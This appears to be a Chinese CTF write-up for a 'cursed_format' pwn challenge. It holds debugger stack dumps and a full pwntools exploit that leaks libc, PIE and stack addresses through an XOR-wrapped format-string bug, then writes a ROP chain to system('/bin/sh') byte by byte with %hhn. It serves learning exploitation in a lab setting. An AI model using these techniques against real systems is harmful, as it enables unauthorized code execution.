最近帮导师做项目,抽时间来打打国际赛


题目的curse函数对输入进行了异或(XOR)加密,且密钥(Key)会随着每一次输入而动态更新

存在格式化字符串漏洞(printf)
在printf处下断点,输入8个A看看栈情况
pwndbg> stack 20
00:0000│ rsp 0x7fffffffdc48 —▸ 0x55555555537f (main+139) ◂— jmp main+173
01:0008│ rsi 0x7fffffffdc50 ◂— 0xbebebebebebebebe
02:0010│-048 0x7fffffffdc58 ◂— 0xfffffffffffffff5
03:0018│-040 0x7fffffffdc60 ◂— 0xffffffffffffffff
04:0020│ rdx-7 0x7fffffffdc68 ◂— 0xffffffffffffffff
05:0028│ rdi 0x7fffffffdc70 ◂— 0xbebebebebebebebe
06:0030│-028 0x7fffffffdc78 ◂— 0xfffffffffffffff5
07:0038│-020 0x7fffffffdc80 ◂— 0xffffffffffffffff
08:0040│-018 0x7fffffffdc88 ◂— 0xffffffffffffffff
09:0048│-010 0x7fffffffdc90 —▸ 0x7fffffffdd90 ◂— 1
0a:0050│-008 0x7fffffffdc98 ◂— 0x100000000
0b:0058│ rbp 0x7fffffffdca0 —▸ 0x5555555553b0 (__libc_csu_init) ◂— push r15
0c:0060│+008 0x7fffffffdca8 —▸ 0x7ffff7e19d7a (__libc_start_main+234) ◂— mov edi, eax
0d:0068│+010 0x7fffffffdcb0 —▸ 0x7fffffffdd98 —▸ 0x7fffffffe0ea ◂— 0x79772f656d6f682f ('/home/wy')
0e:0070│+018 0x7fffffffdcb8 ◂— 0x100000000
0f:0078│+020 0x7fffffffdcc0 —▸ 0x5555555552f4 (main) ◂— push rbp
10:0080│+028 0x7fffffffdcc8 —▸ 0x7ffff7e197f9 ◂— mov r13, rax
11:0088│+030 0x7fffffffdcd0 ◂— 0
12:0090│+038 0x7fffffffdcd8 ◂— 0x84628375f2e10f62
13:0098│+040 0x7fffffffdce0 —▸ 0x5555555550a0 (_start) ◂— xor ebp, ebp
输入的A(0x41)被异或成了be
这里得到格式化字符串偏移
继续查看栈上残留的指针
pwndbg> x/40gx $rsp
0x7fffffffdc48: 0x000055555555537f 0xbebebebebebebebe
0x7fffffffdc58: 0xfffffffffffffff5 0xffffffffffffffff
0x7fffffffdc68: 0xffffffffffffffff 0xbebebebebebebebe
0x7fffffffdc78: 0xfffffffffffffff5 0xffffffffffffffff
0x7fffffffdc88: 0xffffffffffffffff 0x00007fffffffdd90
0x7fffffffdc98: 0x0000000100000000 0x00005555555553b0
0x7fffffffdca8: 0x00007ffff7e19d7a 0x00007fffffffdd98
0x7fffffffdcb8: 0x0000000100000000 0x00005555555552f4
0x7fffffffdcc8: 0x00007ffff7e197f9 0x0000000000000000
0x7fffffffdcd8: 0x84628375f2e10f62 0x00005555555550a0
0x7fffffffdce8: 0x0000000000000000 0x0000000000000000
0x7fffffffdcf8: 0x0000000000000000 0xd137d620ece10f62
0x7fffffffdd08: 0xd137c61c6fe70f62 0x0000000000000000
0x7fffffffdd18: 0x0000000000000000 0x0000000000000000
0x7fffffffdd28: 0x0000000000000001 0x00007fffffffdd98
0x7fffffffdd38: 0x00007fffffffdda8 0x00007ffff7ffe180
0x7fffffffdd48: 0x0000000000000000 0x0000000000000000
0x7fffffffdd58: 0x00005555555550a0 0x00007fffffffdd90
0x7fffffffdd68: 0x0000000000000000 0x0000000000000000
0x7fffffffdd78: 0x00005555555550ca 0x00007fffffffdd88
我们发现偏移 %17$ 是一个稳定的 Libc 地址,还发现偏移 %20$ 是 main 函数的地址
libc.address = libc_leak – 234 – libc.sym[‘__libc_start_main’]
ASLR 开启时,栈地址是随机的。但是,Libc 中有一个全局变量 environ,它存储了一个指向栈(环境变量表)的指针
在 main 函数即将 ret 的地方(或者循环结束处)下断点
例如b *main+173
pwndbg> info frame
Stack level 0, frame at 0x7fffffffdcb0:
rip = 0x5555555553a1 in main; saved rip = 0x7ffff7e19d7a
called by frame at 0x7fffffffdd80
Arglist at 0x7fffffffdca0, args:
Locals at 0x7fffffffdca0, Previous frame's sp is 0x7fffffffdcb0
Saved registers:
rbp at 0x7fffffffdca0, rip at 0x7fffffffdca8
pwndbg> p/x &environ
$1 = 0x7ffff7fc79e0
pwndbg> x/gx &environ
0x7ffff7fc79e0 <environ>: 0x00007fffffffdda8
计算差值: 0x7fffffffdda8 – 0x7fffffffdca8 = 0x100
这样我们泄露出environ的地址后就可以根据偏移算出main函数的真实返回地址
最后利用利用格式化字符串在返回地址上构造rop链就行
每一次循环,我们都发送一次 Payload,利用 %hhn 修改一个字节。
一共发送了 32 次请求,把栈上原本存储 __libc_start_main 返回地址的地方,逐字节替换成了我们的 ROP Chain
补充一点:这里用了pipe模式:
因为 Python 的 remote/process 默认通过伪终端 (PTY) 通信。PTY 会把 \n 当作行结束,导致 read(32) 提前返回。
如果用了 Pipe,read(32) 就会老老实实等到读够 32 字节才返回(或者流结束),这保证了 Payload 不会被截断,XOR Key 不会错位。
EXP
from pwn import *
import sys
import re
import time
context.log_level = 'debug'
context.arch = 'amd64'
binary_name = './cursed_format'
libc_name = './libc.so.6'
elf = ELF(binary_name)
libc = ELF(libc_name)
io=process(binary_name)
current_key = bytearray([0xff] * 32)
def xor_data(data, key):
res = bytearray()
for i in range(len(data)):
res.append(data[i] ^ key[i])
return res
def send_block(payload_32b):
global current_key
if len(payload_32b) < 32:
payload_32b = payload_32b.ljust(32, b'\\x00')
elif len(payload_32b) > 32:
log.error(f"Payload 过长: {len(payload_32b)}")
sys.exit(1)
encrypted = xor_data(payload_32b, current_key)
# 2. 关键:发送前确保消耗掉之前的 Prompt ">> "
# 如果不消耗,recvuntil 会读到上一次残留的 prompt,导致错位
# 但由于我们下面统一用 recvuntil('>> ') 结尾,这里不需要额外操作,
# 只要保证初始化时对齐即可。
# 发送菜单 "1"
io.send(b'1'.ljust(32, b'\\x00'))
io.send(encrypted)
current_key = bytearray(payload_32b)
try:
raw = io.recvuntil(b">> ", drop=True)
if b"1. Keep" in raw:
output = raw.split(b"1. Keep")[0]
else:
output = raw
return output.strip()
except EOFError:
log.error("程序崩溃")
sys.exit(1)
log.info("Step 1: Leaking Addresses...")
io.recvuntil(b">> ")
leak_payload = b"%17$p|%20$p|"
res = send_block(leak_payload)
try:
res_str = res.decode(errors='ignore')
leaks = re.findall(r'0x[0-9a-fA-F]+', res_str)
libc_leak = int(leaks[0], 16)
pie_leak = int(leaks[1], 16)
libc.address = libc_leak - 234 - libc.sym['__libc_start_main']
elf.address = pie_leak - 0x12f4
log.success(f"Libc Base: {hex(libc.address)}")
log.success(f"ELF Base : {hex(elf.address)}")
except:
log.error("泄露失败,请检查偏移")
sys.exit(1)
log.info("Step 2: Leaking Stack...")
fmt = b"%13$s"
pad = b'A' * (24 - len(fmt))
payload = fmt + pad + p64(libc.sym['environ'])
res = send_block(payload)
try:
if b'AAAA' in res:
raw_bytes = res.split(b'AAAA')[0]
else:
raw_bytes = res[:6]
stack_leak = u64(raw_bytes.ljust(8, b'\\x00'))
log.success(f"Stack Leak: {hex(stack_leak)}")
if not (0x700000000000 < stack_leak < 0x800000000000):
log.error(f"泄露的栈地址不合法 ({hex(stack_leak)}),可能是 IO 错位")
sys.exit(1)
except Exception as e:
log.error(f"Stack 解析失败: {e}")
sys.exit(1)
stack_offset = 0x100
target_ret_addr = stack_leak - stack_offset
log.info(f"Target Stack Addr (Main Return): {hex(target_ret_addr)}")
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
ret = rop.find_gadget(['ret'])[0]
chain = [pop_rdi, bin_sh, ret, system]
log.info("Writing ROP Chain...")
write_idx = 13
for idx, val in enumerate(chain):
current_addr = target_ret_addr + (idx * 8)
for i in range(8):
byte_to_write = (val >> (8 * i)) & 0xFF
current_write_pos = current_addr + i
c_val = byte_to_write if byte_to_write != 0 else 256
fmt = f"%{c_val}c%{write_idx}$hhn".encode()
payload = fmt.ljust(24, b'A') + p64(current_write_pos)
send_block(payload)
log.success("ROP Written! Triggering...")
io.clean()
io.send(b'2'.ljust(32, b'\\x00'))
io.interactive()









